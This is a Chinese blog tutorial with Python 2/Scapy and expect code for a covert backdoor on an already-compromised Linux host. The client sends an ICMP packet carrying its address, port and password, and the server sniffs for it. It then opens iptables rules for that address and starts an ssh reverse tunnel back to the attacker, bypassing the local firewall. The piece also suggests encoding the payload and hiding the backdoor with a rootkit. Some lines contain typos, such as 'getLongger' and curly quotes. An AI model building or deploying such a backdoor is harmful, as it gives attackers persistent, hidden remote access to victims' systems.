用Python编写一个简单的CS架构后门的方法


Posted in Python onNovember 20, 2018

0x00:事先说明

  • 你已经攻陷了对方主机且获得了最高权限。
  • 对方的本地防火墙会丢弃所有的外来数据包。
  • 这个后门不会仅绑定在某一个端口上。
  • 这段代码很容易写,毕竟是 Python(准确说是 Python 2.x)。

0x01:工作原理

用Python编写一个简单的CS架构后门的方法

如你所见,客户端将伪造具有 ICMP 负载的特定数据包,另一方面在服务端,也就是我们的被攻击主机,将会接受我们发送的数据包,即使它开启了本地的防火墙(丢弃所有外来数据包)。关键在于无线网卡的监听模式,它无需和 AP 建立连接却可以和接受所有流经空气的数据包。

我们会用到一个有用的第三方包 Scapy。这是它的官方文档。如果你是第一次使用,不妨参考这篇文章,也许会有帮助。

0x02:客户端代码

'''
客户端代码。将服务端的 IP 地址、客户端的 IP 地址、客户端的连接端口,以及连接所需密码作为程序输入。如果成功返回一个交互式后门,在代码硬编码好的位置写入日志文件信息。
'''
#! /usr/bin/env python
import logging
import socket
from scapy.all import *
import os
import os.path
import sys
import time
logging.getLongger("scapy.runtime").setLevel(loggin.ERROR)
file_result = "/tmp/done"
if len(sys.argv) != 5:
 print "usage : " + " IP_SERVER " + " CLIENT_IP " + " PORT_SSH_CLIENT " + “ PASSWORD_CLIENT ”
 sys.exit(1)
server = sys.argv[1]
if os.path.isfile(file_result):
 os.remove(file_result)
load = sys.argv[2] + "|" + sys.argv[3] + "|" + sys.argv[4]
pingr = IP(dst = server) / ICMP() / load
send(pingr, verbose = 0) # send() 函数工作在协议栈的第三层(网络层)

0x04:服务端代码

服务端代码分为两块:1. 主要脚本部分、2. ssh 隧道部分。

'''
服务端代码之主要脚本部分。这个脚本会监听 ICMP 数据包并从句法上分析其携带的数据部分(客户端 IP 地址、客户端连接端口、连接所需密码)。接着在本地打开两个新的防火墙规则。最后调用另一个 expect 脚本,以建立和客户端之间稳定的 ssh 连接。
'''
#! /usr/bin/env python
import logging
import socket
from scapy.all import *
import re
import subprocess # py2.4 新增模块,允许用户编写代码生成新进程,连接到它们的 input/output/error 管道,并获取它们的返回/状态码。
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
def icmp_monitor_callback(pkt):
 reg = re.compile("(.*)\|(.*)\|(.*)")
 g = reg.match(pkt.load)
 if g:
 subprocess.Popen(["/sbin/iptables", "-I", "INPUT", "1","-s",g.group(1),'-j','ACCEPT'])
 subprocess.Popen(["/sbin/iptables", "-I", "OUTPUT", "1","-d",g.group(1),'-j','ACCEPT'])
 p=subprocess.call(["/root/sshtunnel.sh", g.group(1),g.group(2),g.group(3)])
 return
sniff(prn=icmp_monitor_callback, filter="icmp", store=0) # scapy.sniff() 函数会嗅探来自空气中的数据包,prn 参数用来指定回调函数,每当符合 filter 的报文被探测到时,就会执行回调函数。有关该函数的详细信息,可以参考这篇博客:https://thepacketgeek.com/scapy-sniffing-with-custom-actions-part-1/
'''
服务端代码之 ssh 隧道部分,实际上是一个简单的 expect 脚本。接受嗅探到的客户端 IP 地址、客户端端口,以及用于连接的密码作为输入。
'''
#!/usr/bin/expect -f
set ip [lindex $argv 0];
set port [lindex $argv 1];
set password [lindex $argv 2];
spawn ssh -o StrictHostKeyChecking=no -R 19999:localhost:$port $ip
expect "*?assword:*"
send "$password\r"
expect "*#"
send "touch /tmp/done\r"
interact

0x05:文末思考

上面完成的后门代码待完善的地方。

  • ICMP payload 应该被编码。
  • 添加其他的协议用来唤醒该后门(如 http、特定的 syn 包、dns 等)。
  • 写一个 rootkit,隐藏该后门,猥琐欲为。此乃后话。

有关 rootkit 的延伸阅读。

  • https://3water.com/article/151111.htm
  • https://null-byte.wonderhowto.com/how-to/writing-windows-10-rootkit-part-1-0165781/

总结

以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作具有一定的参考学习价值,谢谢大家对三水点靠木的支持。如果你想了解更多相关内容请查看下面相关链接

Python 相关文章推荐
Python实现的金山快盘的签到程序
Jan 17 Python
python格式化字符串实例总结
Sep 28 Python
python排序方法实例分析
Apr 30 Python
python连接字符串的方法小结
Jul 13 Python
Django对models里的objects的使用详解
Aug 17 Python
Django 在iframe里跳转顶层url的例子
Aug 21 Python
python global关键字的用法详解
Sep 05 Python
安装2019Pycharm最新版本的教程详解
Oct 22 Python
Python+appium框架原生代码实现App自动化测试详解
Mar 06 Python
python实现企业微信定时发送文本消息的实例代码
Nov 25 Python
Pandas DataFrame求差集的示例代码
Dec 13 Python
python代码实现扫码关注公众号登录的实战
Nov 01 Python
python pygame实现2048游戏
Nov 20 #Python
python pygame模块编写飞机大战
Nov 20 #Python
Python Scapy随心所欲研究TCP协议栈
Nov 20 #Python
python版飞机大战代码分享
Nov 20 #Python
pygame实现雷电游戏雏形开发
Nov 20 #Python
pygame游戏之旅 游戏中添加显示文字
Nov 20 #Python
pygame游戏之旅 添加键盘按键的方法
Nov 20 #Python
You might like
PHP实现的mysql主从数据库状态检测功能示例
2017/07/20 PHP
Laravel框架源码解析之入口文件原理分析
2020/05/14 PHP
利用javascript查看html源文件
2006/11/08 Javascript
JavaScript 变量命名规则
2009/09/23 Javascript
jquery 的 $("#id").html() 无内容的解决方法
2010/06/07 Javascript
关于UTF-8的客户端用AJAX方式获取GB2312的服务器端乱码问题的解决办法
2010/11/30 Javascript
基于jquery的$.ajax async使用
2011/10/19 Javascript
IE下使用cloneNode注意事项分享
2012/11/22 Javascript
js获取location.href的参数实例代码
2013/08/02 Javascript
解析jquery中的ajax缓存问题
2013/12/19 Javascript
js动态往表格的td中添加图片并注册事件
2014/06/12 Javascript
Javascript中replace()小结
2015/09/30 Javascript
利用node.js+mongodb如何搭建一个简单登录注册的功能详解
2017/07/30 Javascript
Vue CLI3 如何支持less的方法示例
2018/08/29 Javascript
js中offset,client , scroll 三大元素知识点总结
2019/09/11 Javascript
js实现3D照片墙效果
2019/10/28 Javascript
使用p5.js临摹动态图片
2019/11/04 Javascript
解决vue项目F5刷新mounted里的函数不执行问题
2019/11/05 Javascript
vue 项目打包时样式及背景图片路径找不到的解决方式
2019/11/12 Javascript
Javascript实现关闭广告效果
2021/01/29 Javascript
python操作MongoDB基础知识
2013/11/01 Python
python实现求最长回文子串长度
2018/01/22 Python
Django数据库表反向生成实例解析
2018/02/06 Python
python实现俄罗斯方块
2018/06/26 Python
python实现一个简单的udp通信的示例代码
2019/02/01 Python
Python partial函数原理及用法解析
2019/12/11 Python
Python使用docx模块实现刷题功能代码
2020/02/13 Python
django 多数据库及分库实现方式
2020/04/01 Python
使用Keras实现Tensor的相乘和相加代码
2020/06/18 Python
html5之Canvas路径绘图、坐标变换应用实例
2012/12/26 HTML / CSS
使用html5实现表格实现标题合并的实例代码
2019/05/13 HTML / CSS
法学专业本科生自荐信范文
2013/12/17 职场文书
2014年十八届四中全会思想汇报范文
2014/10/17 职场文书
phpQuery解析HTML乱码问题(补充官网未列出的乱码解决方案)
2021/04/01 PHP
HTML5 语义化标签(移动端必备)
2021/08/23 HTML / CSS
SQL基础的查询语句
2021/11/11 MySQL